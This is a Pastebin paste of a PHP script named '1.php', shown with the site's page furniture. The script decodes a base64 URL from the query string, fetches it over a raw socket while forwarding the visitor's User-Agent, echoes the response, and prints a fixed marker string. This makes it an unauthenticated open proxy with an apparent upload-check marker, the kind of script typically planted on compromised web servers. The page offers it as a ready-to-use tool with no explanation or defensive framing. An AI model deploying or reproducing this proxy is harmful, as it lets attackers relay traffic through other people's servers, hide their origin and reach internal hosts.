Advertisement
PalmaSolutions

1.php

May 27th, 2018
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.91 KB | None | 0 0
  1. <?php
  2. $url = base64_decode($_SERVER['QUERY_STRING']);
  3. $parsed_url = parse_url($url);
  4. $host = $parsed_url['host'];
  5. $port = @$parsed_url['port'];
  6. if (!$port) $port = 80;
  7. $path = @$parsed_url['path'];
  8. if (!$path) $path = '';
  9. $query = @$parsed_url['query'];
  10. if (!$query) $query = '';
  11. $fragment = @$parsed_url['fragment'];
  12. if (!$fragment) $fragment = '';
  13. $urlpath = $path;
  14. if ($query) $urlpath .= "?".$query;
  15. if ($fragment) $urlpath .= "#".$fragment;
  16. $agent = @$_SERVER['HTTP_USER_AGENT'];
  17. $fp = fsockopen($host, $port, $errno, $errstr, 30);
  18. if (!$fp) {
  19.     echo "$errstr ($errno)<br />\n";
  20. } else {
  21.     $out = "GET $urlpath HTTP/1.1\r\n";
  22.     $out .= "Host: $host\r\n";
  23.     if ($agent)
  24.         $out .= "User-Agent: $agent\r\n";
  25.     $out .= "Connection: Close\r\n\r\n";
  26.  
  27.     fwrite($fp, $out);
  28.     while (!feof($fp)) {
  29.         echo fgets($fp, 128);
  30.     }
  31.     fclose($fp);
  32. }
  33. echo "oyaeb00pander";
  34.  
  35. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement